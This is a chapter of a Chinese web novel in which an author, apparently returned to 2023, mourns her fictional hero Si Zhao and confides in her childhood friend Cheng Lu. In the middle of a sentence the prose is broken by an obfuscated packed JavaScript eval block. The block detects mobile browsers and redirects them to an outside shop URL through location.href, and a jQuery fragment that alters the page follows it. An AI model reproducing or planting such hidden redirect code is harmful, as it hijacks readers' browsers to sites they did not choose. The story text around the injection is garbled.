当作者大人因我而回到了过去。我们是否还能再次相见？
——《司钊手记》
2023年1月1日我创建
-
当司钊于纷纷雪夜扣响她的心门。
当郁酒酒于呼唤中推开那扇门，崭新而陌生的过去就这样降临。
这时候正是《不羡》的连载期，临近结局的时候。
郁酒酒生怕自己做了些什么，拨动了过去的一根弦，以致于影响整个未来。
也许一个细微的声响，就能发出震撼苍穹的声音。也许她一个异常的举动，未来就会产生一场恢弘的巨变。
若是赌一把？哪里赌得起，现在与未来是同样重的砝码，在命运的天平上，她需要小心翼翼地衡量每一分每一秒。
冬去春来，这是一个什么也不曾发生的春天。
由夏至秋，郁酒酒重复着记忆中的过去，作为一个顶级J人，手机中的日程表分秒不差地记载着她的过去。
郁酒酒重复着每一天，按照日程表中的每一个小格子去上课、写作业、结课、考试，把灰色的格子一个个填成缤纷彩色。
直到这一年被五颜六色的格子填满，什么也没有发生。
郁酒酒满脑子都是郁闷和不解，好似什么东西压住她不能呼吸，终于是在临近万圣节的夜晚喝得酩酊大醉。
南瓜灯的橙黄暖光透过玻璃，照出外面的纷纷雪花。
隔壁街区的小朋友们成群结队，穿着小幽灵的衣服，在门外挑拣着万圣夜的糖果。
今年的糖果全部是桃子味，不是郁酒酒最爱的陈皮味。
“司钊，我还没给你吃过桃子味的糖果。”郁酒酒擦去眼尾的潮湿，轻轻说。
暖烘烘的壁炉里火焰跳跃，酒酒盯着手机屏幕里的《不羡》与《司钊手记》的标题。
“你还没有见过万圣夜的壁炉，我去年……”
郁酒酒顿住，那不是去年，是未来的、下一年的万圣夜。
现在是2023年10月31日，她在司钊死后回到了2023年。
毛茸茸的小熊沙发摆在壁炉前，郁酒酒摸着小熊的长毛，继续说话。
“那一天，我有想过点给你看的，只是没来得及。我真的有想过陪你快快乐乐地度过每一天，哪怕只有你和我，哪怕只有我能触碰到你，哪怕大家都觉得我是精神病，嘲笑我孤寡一生。”
“但我真的想过的。”
声音渐渐低了下来，在火焰噼里啪啦的声响中，隐隐能听见郁酒酒的啜泣声。
纵观人生十九年，既没有什么朋友，也没有太亲密的关系。
小时候，简单的人际关系里只有程陆和爸爸，发小与亲人。
长大后，和程陆的关系也因为相隔整片大洋而浅淡，和爸爸的关系也停止在“需要钱吗”、“不需要”的微信界面，一年也见不到一次面。
为什么会这样呢？是因为她不乖吗？还是因为她不够外向和活泼？面对朋友，她只会用大方来换取友情，可是她的大方换来的是一把把刺向自己的利刃。
于是她把自己藏起来，蜷缩在小小的世界里，就像此刻，蜷缩在小熊沙发的怀抱里。
孤单了那么多年，却只在文字里交到许多好朋友，弗洛伊德和荣格，莎士比亚和汤显祖，所以她又是那样地不孤单。
直到，在一个夜晚，因为一场梦，她创造了司钊和他的人生。
如果我不能拥有令人艳羡的美貌，那你可以。
如果我不能拥有毁灭世界的实力，那你可以。
如果我不能拥有被救赎的资格，那你可以。
……
我无法拥有的，我全部给予你。
只是我忘记了我所拥有的，以作者的身份，以笔作忍，剥夺了你的幸福、你的亲情、你的童年，因为这些我统统未曾有过，所以我无法给予你。
你……听到我的抱歉了吗？
司钊……
-
灯火通明的大厅里，郁酒酒缩在壁炉前睡着，温暖的火炙烤灵魂，她身上起了薄汗，做着一个不太曼妙的梦。
——一通来自伦萨的电话打破寂静。
“你好——谁？”郁酒酒快要睡熟了。
“是我，程陆。酒酒，HappyHalloween.”
通电话前，程陆似乎喝过一杯甜酒，嗓音带着微醉的酒意。
任何一个节日，他都会和郁酒酒通一个电话，送上他的祝福，此刻也不例外。
“哦，你也快乐。”郁酒酒言不由衷。
“酒酒，你喝酒了吗？”
“嗯。”
“这段时间过得好吗？有没有新朋友？”
“我不需要朋友。”她像一只炸毛的猫咪，“也不需要有人陪，我自己可以过得很好！”
酒意总叫人说出些平时不会说的话，郁酒酒把这些天、这一年的烦恼问出口：“程陆，为什么今天下雪了？为什么……他没有来？”
“谁？”程陆停顿了下，声音有些警觉。
“司钊，你知道的，我……我写的小说主角。他是真的，他来过我身边，他会在雪夜到来，今天是24年的初雪，也是万圣夜，他今夜没有来。”
郁酒酒没有意识到，自己记错了时间。也是，谁会相信自己真的回到了过去呢？
“我记得，24年的万圣夜没有下雪，你还在伦萨，为我放了烟花，半个伦萨都能望见，一抬头就能望见。”
“酒酒，你醉了。我此时此刻在伦萨，你知道的。”程陆有些诧异，却耐心地听，宠溺说：“很晚了，去睡好不好？”
“我没有！这不是胡话，我是在和你分享我的心事！你不要听吗？”郁酒酒困困地质问：“小时候你可爱听了……极其八卦！”
“要的要的。我听。那他为什么会来？”程陆循循善诱。
“不知道。”
“那他如何来？”
“穿越，你信吗？有法术那种。”
“哇！”程陆赞叹：“我信，那后面呢？”
“你也见到他了。”
“哦？”程陆问：“我见到了吗？酒酒，我没有。”
“你见到了，在我家，在……2月。”郁酒酒重重点头，比了个耶。
酒精和发小让她撤下心防，所有的悲伤和思念倾泻而出。
隔着一整个大洋彼岸，一条看不见的讯号，故事发生、发展、高潮、结局……
真的结局了吗？
郁酒酒告诉了他一切，写完的，未尽的，潜藏在心底，永远无法言说的所有。
字字句句化为思念，她第一次任凭酒意上头，打开那个一年都未曾打开的文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026405|194431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
档。
不敢点开的文档，醒目的标题。
《司钊手记》，上一次的修改文件在2024年10月31日由她创建。
今夜，她缓缓敲下——
【我好想你。】
【我想见你。】
人称错了。郁酒酒颤着手重敲，敲了三遍才敲出一个完整的句子。
【作者大人思我念我，思之甚，如雪落时满地皆白，念之重，如暴雪时枯枝尽折。】
【她于雪夜思我何时归家？何日归？】
保存——
【2023年10月31日我创建】
郁酒酒脸红心跳，赤脚而行，燥热自足底蔓延到心口，第一次在电话里痛哭出声：“程陆，司钊是不是死了？我是不是再也见不到他了？”
酒精的迷晃叫她跌坐在地，死死抓着手机，那只司钊碰过用过的手机，那样薄，那样滑。
手指渐渐失力，她握不住了。
是不是，她再也抓不住司钊了。
-
宿醉的郁酒酒躺在地毯上睡了一晚。
“咚——咚——”
敲门声传来，郁酒酒立刻弹起来跑向门边，推开大门。
沧州的风好冷，下了雪，雪花和风一起涌进来，一片白茫茫中，郁酒酒看清那个高挑消瘦的身影。
“程陆？”
从惊喜到失望不过瞬间，郁酒酒扬起笑邀请他进门。
一杯冰凉的可可搁在桌上，电视的声音还响着，《大明王朝1566》已经重播到第五遍。
“万圣节快乐。”程陆裹着风雪进门，羊绒大衣挂在臂弯上，他神色和煦，柔声关切说：“酒酒，我很担心你。”
没有太多许久，程陆抽出一张雪白的名片，推到郁酒酒面前。
“岑医生是很资深的心理医生，我的好友，你需要的话可以见见她。”
“岑霜吗？”郁酒酒扫了名片一眼。
来到这里前，未来的2024年，她常去拜访的医生就是岑霜，可那时程陆说岑霜是他的老师，亦师亦友嘛，这很正常。
“嗯。”
“她是你的好朋友？你们什么时候认识的，我怎么不知道？”
“在伦萨，她教授通用心理学。”程陆说：“酒酒，你不要这样有防备心，你知道，小说里的角色是不可能出现在现实的。”
“你觉得我是精神病？”郁酒酒说话带刺。
“抱歉，我的错。我本意是来陪你一段时间，正好学期末尾，我没有什么课。酒酒，我们以前都是一起过假期的。”
“那好像是小时候的事，不过你随意，我欢迎。”郁酒酒裹紧了身上的毯子，“我要去码字了。”
“《不羡》快结局了。”
记忆里和现实中，《不羡》的完结日期都在2023年11月末。
郁酒酒站在楼梯上，静静地回望程陆，亦或是，他身后那一扇紧闭的门。
“咚——咚——”
敲门声响在耳畔，她分不清是心跳，还是……久违的敲门声。
明明世界如此安静。
“程陆。”郁酒酒说：“我想，我确实需要见见那一位心理医生。这样清醒而真实的梦，困扰我太久了。”
郁酒酒想要一个结束。
亦或是，一个答案。